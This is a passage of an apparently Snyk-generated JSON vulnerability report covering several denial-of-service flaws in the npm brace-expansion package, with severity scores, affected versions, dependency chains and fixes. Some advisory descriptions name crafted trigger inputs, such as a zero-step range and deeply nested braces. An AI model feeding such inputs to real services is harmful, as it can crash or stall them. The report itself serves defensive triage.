"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
